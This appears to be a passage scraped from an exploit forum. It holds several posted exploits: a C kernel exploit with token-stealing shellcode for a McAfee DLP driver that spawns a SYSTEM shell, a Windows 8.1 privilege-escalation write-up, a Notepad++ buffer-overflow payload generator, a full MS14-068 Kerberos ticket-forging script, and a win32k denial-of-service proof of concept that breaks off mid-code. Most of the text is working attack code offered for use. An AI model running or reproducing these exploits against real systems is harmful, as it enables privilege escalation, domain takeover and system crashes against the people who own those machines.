} SYSTEM_INFORMATION_CLASS;
  
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);
  
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource,
     PULONG Interval);
  
typedef void (*FUNCTPTR)();
  
  
  
// Windows XP SP3
  
#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct
  
// Windows Server 2003
  
#define W2K3_KPROCESS 0x38      // Offset to _KPROCESS from a _ETHREAD struct
#define W2K3_TOKEN    0xd8      // Offset to TOKEN from the _EPROCESS struct
#define W2K3_UPID     0x94      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W2K3_APLINKS  0x98      // Offset to ActiveProcessLinks _EPROCESS struct
  
  
BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,                                                  // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ----
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8   
};
  
  
BYTE token_steal_w2k3[] =
{
  0x52,                                                  // push edx                         Save edx on the stack
  0x53,                                                  // push ebx                         Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                     eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]           Retrieve ETHREAD
  0x8b,0x40,W2K3_KPROCESS,                               // mov eax, [eax+W2K3_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00,                   // mov ebx, [eax+W2K3_TOKEN]        Retrieves TOKEN
  0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00,                 // mov eax, [eax+W2K3_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00,                 // sub eax, W2K3_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                       ----
  0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00,                   // mov edx, [eax+W2K3_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                     Retrieves KPROCESS stored on ECX
  0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00,                   // mov [eax+W2K3_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                          Restores ebx
  0x5a,                                                  // pop edx                          Restores edx
  0xc2,0x08                                              // ret 8                            Away from the kernel
};
  
  
  
DWORD HalDispatchTableAddress()
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;
  
  
    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
      
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1; 
    }
  
    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
  
    if (!status)
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
          
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
  
    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }
  
    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
      
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;
  
    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');
  
    Kernel = LoadLibraryA(++kName);
  
    if(Kernel == NULL)
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }
  
    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
  
    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
      
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);  
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);         
  
    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
  
    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
  
    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
        return -1;
    }
  
    return HalDispatchTable;
}
  
  
int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;
  
    version = GetVersion();
  
    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));
  
    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;
  
    return v;
}
  
  
void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
  
  
    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
  
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;
  
    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }
  
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}
  
  
int main(int argc, char *argv[])
{
  
    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    LPVOID                      input[1] = {0};  
    LPVOID                      addrtoshell;
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;            
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH];
  
  
  
    printf("-------------------------------------------------------------------------------\n");
    printf("McAfee Data Loss Prevention Endpoint (hdlpctrl.sys) Arbitrary Write EoP Exploit\n");
    printf("           Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit)            \n");
    printf("-------------------------------------------------------------------------------\n\n");
  
  
    if (GetWindowsVersion() == 1)
    {
        printf("[i] Running Windows XP\n");
    }
  
    if (GetWindowsVersion() == 3)
    {
        printf("[i] Running Windows Server 2003\n");
    }
  
    if (GetWindowsVersion() == 0)
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    } 
  
    sprintf(devhandle, "\\\\.\\%s", "devbkctrl");
  
    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
      
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1; 
    }
     
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  
    if(addrtoshell == NULL)
    {
        printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);
  
    memset(addrtoshell, 0x90, BUFSIZE);
  
    if (GetWindowsVersion() == 1)
    {
        memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
        printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
    }
  
    if (GetWindowsVersion() == 3)
    {
        memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3));
        printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3));
    }
  
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
      
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else
    {
        printf("[+] Open %s device successful\n", devhandle);
    }
  
    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
  
    input[0] = addrtoshell;  // input buffer contents gets written to our output buffer address
                      
    printf("[+] Input buffer contents %08x\n", input[0]);
      
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();
  
    DeviceIoControl(hDevice, 0x00224014, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
  
    printf("[+] Buffer sent\n");
    CloseHandle(hDevice);
  
    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();
  
    return 0;
}
Windows 8.1 (32/64 bit) - Privilege Escalation
ID: 67686ba3b4103b69df379d27
Thread ID: 25576
Created: 2015-01-02T14:52:09+0000
Last Post: 2015-01-02T14:52:09+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Platform: Windows 8.1 Update 32/64 bit (No other OS tested)

On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext.

This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways.

It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre- existing app compat configuration to abuse.

It's unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes.

The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I'd recommend running on 32 bit just to be sure. To verify perform the following steps:

  1. Put the AppCompatCache.exe and Testdll.dll on disk
  2. Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables).
  3. Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll".
  4. If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run.

Click to expand...

:zns5: Скачать|Download

NotePad++ v6.6.9 Buffer Overflow Vulnerability
ID: 67686ba3b4103b69df379d28
Thread ID: 25560
Created: 2014-12-23T09:17:04+0000
Last Post: 2014-12-23T09:17:04+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# Exploit Title: NotePad++ v6.6.9 Buffer Overflow
# URL Vendor: http://notepad-plus-plus.org/
# Vendor Name: NotePad
# Version: 6.6.9
# Date: 22/12/2014
# CVE:  CVE-2014-1004
# Author: TaurusOmar   
# Twitter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Risk: Medium
 
#Description:
#Notepad++ is a free (as in "free speech" and also as in "free beer") source code editor and Notepad replacement that supports several languages. 
#Running in the MS Windows environment, its use is governed by GPL License.
#Based on the powerful editing component Scintilla, Notepad++ is written in C++ and uses pure Win32 API and STL which ensures a higher execution speed 
#and smaller program size. By optimizing as many routines as possible without losing user friendliness, Notepad++ is trying to reduce the world carbon 
#dioxide emissions. When using less CPU power, the PC can throttle down and reduce power consumption, resulting in a greener environment.
 
#Proof Concept
#http://i.imgur.com/TTDtxJM.jpg
 
#Code
import struct
def little_endian(address):
  return struct.pack("<L",address)
poc ="\x41" * 591
poc+="\xeb\x06\x90\x90"
poc+=little_endian(0x1004C31F)
poc+="\x90" * 80
poc+="\x90" * (20000 - len(poc))
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55"
header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" + poc
footer = "\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a"
exploit =  header + footer
filename = "notepad.xml"
file = open(filename , "w")
file.write(exploit)
file.close()
Windows Kerberos - Elevation of Privilege
ID: 67686ba3b4103b69df379d2a
Thread ID: 25537
Created: 2014-12-09T06:31:29+0000
Last Post: 2014-12-09T06:31:29+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
  
# MS14-068 Exploit
  
# Author
# ------
# Sylvain Monne
# Contact : sylvain dot monne at solucom dot fr
# http://twitter.com/bidord
  
  
  
import sys, os
from random import getrandbits
from time import time, localtime, strftime
  
from kek.ccache import CCache, get_tgt_cred, kdc_rep2ccache
from kek.crypto import generate_subkey, ntlm_hash, RC4_HMAC, HMAC_MD5
from kek.krb5 import build_as_req, build_tgs_req, send_req, recv_rep, \
    decrypt_as_rep, decrypt_tgs_rep, decrypt_ticket_enc_part, iter_authorization_data, \
    AD_WIN2K_PAC
from kek.pac import build_pac, pretty_print_pac
from kek.util import epoch2gt, gt2epoch
  
  
def sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host,
           output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None):
  
    sys.stderr.write('  [+] Building AS-REQ for %s...' % kdc_a)
    sys.stderr.flush()
    nonce = getrandbits(31)
    current_time = time()
    as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
    sys.stderr.write(' Done!\n')
      
    sys.stderr.write('  [+] Sending AS-REQ to %s...' % kdc_a)
    sys.stderr.flush()
    sock = send_req(as_req, kdc_a)
    sys.stderr.write(' Done!\n')
  
    sys.stderr.write('  [+] Receiving AS-REP from %s...' % kdc_a)
    sys.stderr.flush()
    data = recv_rep(sock)
    sys.stderr.write(' Done!\n')
  
    sys.stderr.write('  [+] Parsing AS-REP from %s...' % kdc_a)
    sys.stderr.flush()
    as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
    session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))
    logon_time = gt2epoch(str(as_rep_enc['authtime']))
    tgt_a = as_rep['ticket']
    sys.stderr.write(' Done!\n')
  
  
    if krbtgt_a_key is not None:
        print >> sys.sdterr, as_rep.prettyPrint()
        print >> sys.stderr, as_rep_enc.prettyPrint()
        ticket_debug(tgt_a, krbtgt_a_key)
      
    sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_a)
    sys.stderr.flush()
    subkey = generate_subkey()
    nonce = getrandbits(31)
    current_time = time()
    pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
    tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,
                            tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)
    sys.stderr.write(' Done!\n')
  
    sys.stderr.write('  [+] Sending TGS-REQ to %s...' % kdc_a)
    sys.stderr.flush()
    sock = send_req(tgs_req, kdc_a)
    sys.stderr.write(' Done!\n')
  
    sys.stderr.write('  [+] Receiving TGS-REP from %s...' % kdc_a)
    sys.stderr.flush()
    data = recv_rep(sock)
    sys.stderr.write(' Done!\n')
  
    sys.stderr.write('  [+] Parsing TGS-REP from %s...' % kdc_a)
    tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
    session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))
    tgt_b = tgs_rep['ticket']
    sys.stderr.write(' Done!\n')
  
  
    if trust_ab_key is not None:
        pretty_print_pac(pac[1])
        print >> sys.stderr, tgs_rep.prettyPrint()
        print >> sys.stderr, tgs_rep_enc.prettyPrint()
        ticket_debug(tgt_b, trust_ab_key)
  
  
    if target_service is not None and target_host is not None and kdc_b is not None:
        sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_b)
        sys.stderr.flush()
        subkey = generate_subkey()
        nonce = getrandbits(31)
        current_time = time()
        tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name,
                                tgt_b, session_key2, subkey, nonce, current_time)
        sys.stderr.write(' Done!\n')
  
        sys.stderr.write('  [+] Sending TGS-REQ to %s...' % kdc_b)
        sys.stderr.flush()
        sock = send_req(tgs_req2, kdc_b)
        sys.stderr.write(' Done!\n')
  
        sys.stderr.write('  [+] Receiving TGS-REP from %s...' % kdc_b)
        sys.stderr.flush()
        data = recv_rep(sock)
        sys.stderr.write(' Done!\n')
  
        sys.stderr.write('  [+] Parsing TGS-REP from %s...' % kdc_b)
        tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey)
        sys.stderr.write(' Done!\n')
  
    else:
        tgs_rep2 = tgs_rep
        tgs_rep_enc2 = tgs_rep_enc
  
    sys.stderr.write('  [+] Creating ccache file %r...' % output_filename)
    cc = CCache((user_realm, user_name))
    tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)
    cc.add_credential(tgs_cred)
    cc.save(output_filename)
    sys.stderr.write(' Done!\n')
  
  
    if target_key is not None:
        print >> sys.stderr, tgs_rep2.prettyPrint()
        print >> sys.stderr, tgs_rep_enc2.prettyPrint()
        ticket_debug(tgs_rep2['ticket'], target_key)
  
  
# Pretty print full ticket content
# Only possible in a lab environment when you already know krbtgt and/or service keys
def ticket_debug(ticket, key):
    try:
        ticket_enc = decrypt_ticket_enc_part(ticket, key)
        print >> sys.stderr, ticket.prettyPrint()
        for ad in iter_authorization_data(ticket_enc['authorization-data']):
            print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type']
            if ad['ad-type'] == AD_WIN2K_PAC:
                pretty_print_pac(str(ad['ad-data']))
            else:
                print >> sys.stderr, str(ad['ad-data']).encode('hex')
    except Exception as e:
        print 'ERROR:', e
  
  
if __name__ == '__main__':
    from getopt import getopt
    from getpass import getpass
  
    def usage_and_exit():
        print >> sys.stderr, 'USAGE:'
        print >> sys.stderr, '%s -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>' % sys.argv[0]
        print >> sys.stderr, ''
        print >> sys.stderr, 'OPTIONS:'
        print >> sys.stderr, '    -p <clearPassword>'
        print >> sys.stderr, ' --rc4 <ntlmHash>'
        sys.exit(1)
  
    opts, args = getopt(sys.argv[1:], 'u:s:d:p:', ['rc4='])
    opts = dict(opts)
    if not all(k in opts for k in ('-u', '-s', '-d')):
        usage_and_exit()
  
    user_name, user_realm = opts['-u'].split('@', 1)
    user_sid = opts['-s']
    kdc_a = opts['-d']
  
    if '--rc4' in opts:
        user_key = (RC4_HMAC, opts['--rc4'].decode('hex'))
        assert len(user_key[1]) == 16
    elif '-p' in opts:
        user_key = (RC4_HMAC, ntlm_hash(opts['-p']).digest())
    else:
        user_key = (RC4_HMAC, ntlm_hash(getpass('Password: ')).digest())
  
    target_realm = user_realm
    target_service = target_host = kdc_b = None
    filename = 'TGT_%s@%s.ccache' % (user_name, user_realm)
  
    user_realm = user_realm.upper()
    target_realm = target_realm.upper()
  
    sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, filename)
Microsoft Windows Win32k.sys
ID: 67686ba3b4103b69df379d2b
Thread ID: 25524
Created: 2014-12-04T08:25:02+0000
Last Post: 2014-12-04T08:25:02+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Exploit Title: Microsoft Windows Win32k.sys Denial of Service

Date: 20-11-2014

Exploit Author: Kedamsky (kedamsky@mail.ru)

Vendor Homepage: http://microsoft.com

Software Link: http://www.microsoft.com/en-us/download/windows.aspx

Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64)

Tested on: [XP to 8.1 x86/x64]

Microsoft Windows win32k.sys DoS exploit
by Kedamsky
mailto:kedamsky@mail.ru

=========================
Vulnerability Description

The vulnerability exists in the function win32k!xxxMenuWindowProc. It
calls the function win32k!xxxMNOpenHierarchy that can return valid
pointer to data and 0 or -1 otherwise. The function
win32k!xxxMenuWindowProc does not validate the result of
win32k!xxxMNOpenHierarchy properly and it is possible to try to read
data from address -1.

===============
Vulnerable code

8f584e72 85c0 test eax,eax
8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371)
8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1
...
8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260)
8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72)

================
Typical bugcheck


  • Bugcheck Analysis *

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try- except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffffffff, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

READ_ADDRESS: ffffffff

FAULTING_IP:
win32k!xxxMenuWindowProc+a09
8f584e7a 8b00 mov eax,dword ptr [eax]

MM_INTERNAL_CODE: 0

IMAGE_NAME: win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60

MODULE_NAME: win32k

FAULTING_MODULE: 8f480000 win32k

DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

BUGCHECK_STR: 0x50

PROCESS_NAME: DOS3_1E3.exe

CURRENT_IRQL: 2

TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64)
ErrCode = 00000000
eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270
eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!xxxMenuWindowProc+0xa09:
8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=????????
Resetting default scope

LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98

STACK_TEXT:
9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction
9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c
9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d
9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a
9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc
9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09
9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4
9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c
9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27
9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6
9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a
0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet
0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc
0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5
0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c
0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22
0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100
0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21
0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24
0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e
0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc
0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68
0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23
0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b
0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7
0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c
0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41
0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7
0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910
0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c
0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23
0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b
0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322
0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf
0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d
0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238]
0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe
0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23
0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: kb

FOLLOWUP_IP:
win32k!xxxMenuWindowProc+a09
8f584e7a 8b00 mov eax,dword ptr [eax]

SYMBOL_STACK_INDEX: 5

SYMBOL_NAME: win32k!xxxMenuWindowProc+a09

FOLLOWUP_NAME: MachineOwner

FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09

BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09

Followup: MachineOwner
---------

Click to expand...

Code:Copy to clipboard

//#include "stdafx.h"
#include <windows.h>
  
#define BSOD_BUTTON 0x9876
  
HMENU hMenu[3];
ULONG MenuLevel = 0;
HWND hTargetMenuWnd = 0;
  
void KeyEvent()
{
    INPUT input;
    memset(&input, 0, sizeof(input));
    input.type = INPUT_KEYBOARD;
    input.ki.wVk = VkKeyScanA('1');
   
    SendInput(1, &input, sizeof(input));
  
    Sleep(50);
   
    memset(&input, 0, sizeof(input));
    input.type = INPUT_KEYBOARD;
    input.ki.wVk = VkKeyScanA('1');
